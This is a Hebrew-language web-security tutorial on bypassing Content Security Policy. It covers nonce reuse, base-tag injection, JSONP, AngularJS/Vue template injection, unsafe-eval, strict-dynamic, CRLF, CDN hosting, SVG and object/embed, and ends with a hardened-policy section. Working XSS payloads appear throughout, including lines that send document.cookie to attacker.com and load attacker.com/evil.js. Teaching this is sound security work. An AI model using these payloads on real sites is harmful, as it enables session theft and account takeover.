עקיפת CSP - CSP Bypass¶
סקירת Content Security Policy¶
מדיניות אבטחת תוכן (CSP) היא מנגנון הגנה בדפדפן שמגביל את המשאבים שדף אינטרנט יכול לטעון ולהריץ. המטרה העיקרית היא למנוע התקפות XSS על ידי הגבלת מקורות הסקריפטים המותרים.
כותרת CSP נשלחת כ-HTTP Header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
הנחיות עיקריות - Directives¶
| הנחיה | תפקיד |
|---|---|
default-src |
ברירת מחדל לכל סוגי המשאבים |
script-src |
מקורות מותרים לסקריפטים |
style-src |
מקורות מותרים לסגנונות CSS |
img-src |
מקורות מותרים לתמונות |
connect-src |
מקורות מותרים לחיבורים (XHR, fetch, WebSocket) |
frame-src |
מקורות מותרים ל-iframes |
font-src |
מקורות מותרים לגופנים |
object-src |
מקורות מותרים ל-object, embed, applet |
base-uri |
מגביל את ערכי תגית base |
form-action |
מגביל את היעדים של טפסים |
דיווח CSP - Reporting¶
ניתן להגדיר CSP במצב דיווח בלבד כדי לזהות הפרות בלי לחסום:
הגרסה החדשה משתמשת ב-report-to:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"/csp-report"}]}
הדפדפן שולח דוח JSON עם פרטי ההפרה:
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.com/malicious.js",
"original-policy": "default-src 'self'; script-src 'self'"
}
}
עקיפה 1: שימוש חוזר ב-Nonce¶
כאשר CSP משתמש ב-nonce סטטי או צפוי, ניתן לנצל אותו:
אם השרת מגדיר nonce קבוע או שניתן לחזות אותו:
<!-- הסקריפט הלגיטימי -->
<script nonce="abc123">
console.log("legitimate");
</script>
<!-- הזרקת התוקף עם אותו nonce -->
<script nonce="abc123">
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
מצב נוסף - כאשר ה-nonce נחשף בתגובת השרת ואפשר לקרוא אותו דרך הזרקה:
// אם יש לנו injection point שמאפשר קריאת DOM
let nonce = document.querySelector('script[nonce]').nonce;
let s = document.createElement('script');
s.nonce = nonce;
s.textContent = 'alert(document.domain)';
document.body.appendChild(s);
עקיפה 2: חוסר base-uri - הזרקת תגית base¶
כאשר ה-CSP לא מגביל את base-uri, ניתן להזריק תגית <base> שתשנה את הנתיב הבסיסי לטעינת סקריפטים יחסיים:
שימו לב - אין הגבלה על base-uri. אם הדף טוען סקריפט יחסי:
התוקף מזריק:
עכשיו הדפדפן יטען את הסקריפט מ-https://attacker.com/js/app.js - שרת התוקף.
עקיפה 3: נקודות קצה JSONP על דומיינים מורשים¶
כאשר CSP מרשה דומיינים גדולים כמו Google, ניתן לנצל נקודות קצה JSONP:
נקודות קצה JSONP מאפשרות שליטה בתוכן הסקריפט דרך פרמטר callback:
דוגמאות נוספות לנקודות JSONP נפוצות:
<!-- Google -->
<script src="https://www.google.com/complete/search?client=chrome&q=xss&callback=alert(1)//"></script>
<!-- דומיינים שונים עם JSONP -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
עקיפה 4: עקיפה דרך פריימוורקים - Angular/Vue/React¶
כאשר CDN של פריימוורק מורשה, ניתן לנצל template injection:
עקיפה עם AngularJS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>
{{$eval.constructor('alert(document.domain)')()}}
</div>
עקיפה עם גרסאות ישנות של Angular:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.min.js"></script>
<div ng-app>
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1}}};alert(1)//')}}
</div>
Vue.js template injection:
<div id="app">{{constructor.constructor('alert(1)')()}}</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>new Vue({el:'#app'})</script>
עקיפה 5: ניצול unsafe-eval¶
כאשר script-src כולל 'unsafe-eval':
ניתן להשתמש בכל פונקציה שמבצעת eval:
// eval ישיר
eval('alert(document.domain)');
// דרך Function constructor
new Function('alert(document.domain)')();
// דרך setTimeout/setInterval עם מחרוזת
setTimeout('alert(document.domain)', 0);
setInterval('alert(document.domain)', 1000);
// דרך import()
import('data:text/javascript,alert(document.domain)');
עקיפה 6: עקיפת strict-dynamic¶
strict-dynamic מאפשר לסקריפט מאושר (עם nonce) לטעון סקריפטים נוספים:
אם יש injection בתוך סקריפט מאושר:
<script nonce="random123">
// injection point
let userInput = "'; let s=document.createElement('script'); s.src='https://attacker.com/evil.js'; document.body.appendChild(s); //";
</script>
עקיפה נוספת - ניצול script elements שכבר קיימים בדף:
// אם יש injection שמאפשר שליטה ב-src של סקריפט שטוען דינמית
document.querySelector('#dynamic-loader').src = 'https://attacker.com/evil.js';
טכניקת ה-base-uri פועלת גם כאן כי strict-dynamic לא מגן על base-uri:
עקיפה 7: הזרקת מדיניות דרך CRLF או פרמטרים¶
כאשר ניתן להזריק תווי CRLF לתוך כותרת HTTP:
זה יכול ליצור כותרת CSP חדשה שתדרוס את הקיימת. הזרקת פרמטרים למדיניות:
אם השרת מכניס פרמטרים לתוך CSP:
הזרקה:
עקיפה 8: אחסון סקריפטים על CDN מורשה¶
כאשר CDN שלם מורשה:
התוקף מעלה קובץ זדוני לשירות שמתארח על אותו CDN:
<!-- jsdelivr מאפשר לטעון קבצים ישירות מ-GitHub/npm -->
<script src="https://cdn.jsdelivr.net/gh/attacker/repo@main/evil.js"></script>
דוגמה נוספת עם unpkg:
עקיפה 9: שימוש באלמנטים SVG להרצת סקריפטים¶
אלמנטי SVG יכולים להכיל סקריפטים:
עקיפה מתקדמת יותר עם SVG ו-use:
<svg>
<use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'><a xlink:href='javascript:alert(1)'><rect width='100' height='100'/></a></svg>#x">
</use>
</svg>
שימוש ב-animate לביצוע JavaScript:
SVG עם foreignObject:
<svg>
<foreignObject width="100" height="100">
<iframe srcdoc="<script>alert(1)</script>">
</iframe>
</foreignObject>
</svg>
עקיפה 10: שימוש ב-Object ו-Embed¶
כאשר object-src לא מוגבל:
שימו לב - default-src לא מוגדר ו-object-src לא מוגבל:
<object data="data:text/html,<script>alert(document.domain)</script>" type="text/html"></object>
<embed src="data:text/html,<script>alert(document.domain)</script>" type="text/html">
ניצול Flash (בדפדפנים ישנים):
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
<param name="AllowScriptAccess" value="always">
</object>
כלי CSP Evaluator¶
כלי של Google לבדיקת חוזק מדיניות CSP:
שימוש בכלי מבוסס שורת פקודה:
# בדיקת CSP של אתר
curl -sI https://example.com | grep -i content-security-policy
# ניתוח CSP
python3 -c "
csp = \"default-src 'self'; script-src 'self' https://cdn.jsdelivr.net 'unsafe-eval'\"
directives = csp.split(';')
for d in directives:
d = d.strip()
print(f'[*] {d}')
if 'unsafe-eval' in d:
print(' [!] DANGEROUS: unsafe-eval allows code execution')
if 'unsafe-inline' in d:
print(' [!] DANGEROUS: unsafe-inline allows inline scripts')
if '*' in d:
print(' [!] DANGEROUS: wildcard allows any source')
"
טבלת עקיפות מרוכזת¶
| מדיניות | חולשה | עקיפה |
|---|---|---|
script-src 'nonce-static' |
nonce קבוע | שימוש חוזר ב-nonce |
ללא base-uri |
אין הגבלה על base | הזרקת <base href> |
script-src *.google.com |
JSONP | קריאה ל-JSONP עם callback זדוני |
script-src cdn.jsdelivr.net |
CDN פתוח | העלאת סקריפט זדוני ל-CDN |
script-src 'unsafe-eval' |
eval מותר | eval(), Function(), setTimeout() |
script-src 'strict-dynamic' |
אמון מדורג | יצירת script מתוך סקריפט מאושר |
ללא object-src |
plugins | <object> או <embed> עם data URI |
| CSP דרך HTTP | CRLF injection | הזרקת כותרת CSP חדשה |
הגנה - CSP מחוזק¶
מדיניות CSP מחמירה ומומלצת:
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{RANDOM}' 'strict-dynamic';
style-src 'nonce-{RANDOM}';
img-src 'self';
font-src 'self';
connect-src 'self';
frame-src 'none';
object-src 'none';
base-uri 'none';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
report-to csp-endpoint
עקרונות להגנה חזקה:
- שימוש ב-nonce חד-פעמי ואקראי לכל בקשה
- הימנעות מ-
unsafe-inlineו-unsafe-eval - הגבלת
base-uriל-'none'או'self' - הגבלת
object-srcל-'none' - צמצום מקסימלי של דומיינים מורשים
- הפעלת דיווח כדי לזהות ניסיונות עקיפה
- בדיקה תקופתית עם CSP Evaluator
סיכום¶
עקיפת CSP היא אחד התחומים המרכזיים בתקיפות צד לקוח מתקדמות. הבנת המנגנון לעומק מאפשרת לזהות חולשות במדיניות ולנצל אותן. CSP חזק דורש תשומת לב לכל ההנחיות, לא רק ל-script-src. ככל שהמדיניות יותר מצמצמת ומדויקת, כך היא קשה יותר לעקיפה.